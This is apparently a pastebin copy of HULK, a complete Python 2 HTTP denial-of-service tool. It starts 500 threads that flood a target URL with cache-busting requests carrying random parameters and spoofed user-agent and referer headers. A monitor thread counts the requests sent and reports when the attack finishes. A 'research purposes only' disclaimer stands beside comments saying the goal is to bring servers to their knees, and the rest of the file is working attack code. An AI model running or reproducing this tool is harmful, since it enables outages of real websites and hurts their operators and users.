SHOW:
|
|
- or go back to the newest paste.
1 | # Infi-Zeal Technologies | |
2 | # Regards, | |
3 | # Hardeep Singh | |
4 | ||
5 | # ---------------------------------------------------------------------------------------------- | |
6 | # HULK - HTTP Unbearable Load King | |
7 | # | |
8 | # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them | |
9 | # to their knees by exhausting the resource pool, its is meant for research purposes only | |
10 | # and any malicious usage of this tool is prohibited. | |
11 | # | |
12 | # author:Cyb3r h4ck3r , version 1.0 | |
13 | # ---------------------------------------------------------------------------------------------- | |
14 | import urllib2 | |
15 | import sys | |
16 | import threading | |
17 | import random | |
18 | import re | |
19 | ||
20 | #global params | |
21 | url='' | |
22 | host='' | |
23 | headers_useragents=[] | |
24 | headers_referers=[] | |
25 | request_counter=0 | |
26 | flag=0 | |
27 | safe=0 | |
28 | ||
29 | def inc_counter(): | |
30 | global request_counter | |
31 | request_counter+=1 | |
32 | ||
33 | def set_flag(val): | |
34 | global flag | |
35 | flag=val | |
36 | ||
37 | def set_safe(): | |
38 | global safe | |
39 | safe=1 | |
40 | ||
41 | # generates a user agent array | |
42 | def useragent_list(): | |
43 | global headers_useragents | |
44 | headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') | |
45 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') | |
46 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') | |
47 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') | |
48 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') | |
49 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') | |
50 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') | |
51 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') | |
52 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') | |
53 | headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') | |
54 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') | |
55 | headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') | |
56 | return(headers_useragents) | |
57 | ||
58 | # generates a referer array | |
59 | def referer_list(): | |
60 | global headers_referers | |
61 | headers_referers.append('http://www.google.com/?q=') | |
62 | headers_referers.append('http://www.usatoday.com/search/results?q=') | |
63 | headers_referers.append('http://engadget.search.aol.com/search?q=') | |
64 | headers_referers.append('http://' + host + '/') | |
65 | return(headers_referers) | |
66 | ||
67 | #builds random ascii string | |
68 | def buildblock(size): | |
69 | out_str = '' | |
70 | for i in range(0, size): | |
71 | a = random.randint(65, 90) | |
72 | out_str += chr(a) | |
73 | return(out_str) | |
74 | ||
75 | def usage(): | |
76 | print '---------------------------------------------------' | |
77 | print 'USAGE: python hulk.py <url>' | |
78 | print 'you can add "safe" after url, to autoshut after dos' | |
79 | print '---------------------------------------------------' | |
80 | ||
81 | ||
82 | #http request | |
83 | def httpcall(url): | |
84 | useragent_list() | |
85 | referer_list() | |
86 | code=0 | |
87 | if url.count("?")>0: | |
88 | param_joiner="&" | |
89 | else: | |
90 | param_joiner="?" | |
91 | request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) | |
92 | request.add_header('User-Agent', random.choice(headers_useragents)) | |
93 | request.add_header('Cache-Control', 'no-cache') | |
94 | request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') | |
95 | request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10))) | |
96 | request.add_header('Keep-Alive', random.randint(110,120)) | |
97 | request.add_header('Connection', 'keep-alive') | |
98 | request.add_header('Host',host) | |
99 | try: | |
100 | urllib2.urlopen(request) | |
101 | except urllib2.HTTPError, e: | |
102 | #print e.code | |
103 | set_flag(1) | |
104 | print 'Response Code 500' | |
105 | code=500 | |
106 | except urllib2.URLError, e: | |
107 | #print e.reason | |
108 | sys.exit() | |
109 | else: | |
110 | inc_counter() | |
111 | urllib2.urlopen(request) | |
112 | return(code) | |
113 | ||
114 | ||
115 | #http caller thread | |
116 | class HTTPThread(threading.Thread): | |
117 | def run(self): | |
118 | try: | |
119 | while flag<2: | |
120 | code=httpcall(url) | |
121 | if (code==500) & (safe==1): | |
122 | set_flag(2) | |
123 | except Exception, ex: | |
124 | pass | |
125 | ||
126 | # monitors http threads and counts requests | |
127 | class MonitorThread(threading.Thread): | |
128 | def run(self): | |
129 | previous=request_counter | |
130 | while flag==0: | |
131 | if (previous+100<request_counter) & (previous<>request_counter): | |
132 | print "%d Requests Sent" % (request_counter) | |
133 | previous=request_counter | |
134 | if flag==2: | |
135 | print "\n-- HULK Attack Finished --" | |
136 | ||
137 | #execute | |
138 | if len(sys.argv) < 2: | |
139 | usage() | |
140 | sys.exit() | |
141 | else: | |
142 | if sys.argv[1]=="help": | |
143 | usage() | |
144 | sys.exit() | |
145 | else: | |
146 | print "-- HULK Attack Started --" | |
147 | if len(sys.argv)== 3: | |
148 | if sys.argv[2]=="safe": | |
149 | set_safe() | |
150 | url = sys.argv[1] | |
151 | if url.count("/")==2: | |
152 | url = url + "/" | |
153 | m = re.search('http\://([^/]*)/?.*', url) | |
154 | host = m.group(1) | |
155 | for i in range(500): | |
156 | t = HTTPThread() | |
157 | t.start() | |
158 | t = MonitorThread() | |
159 | t.start() |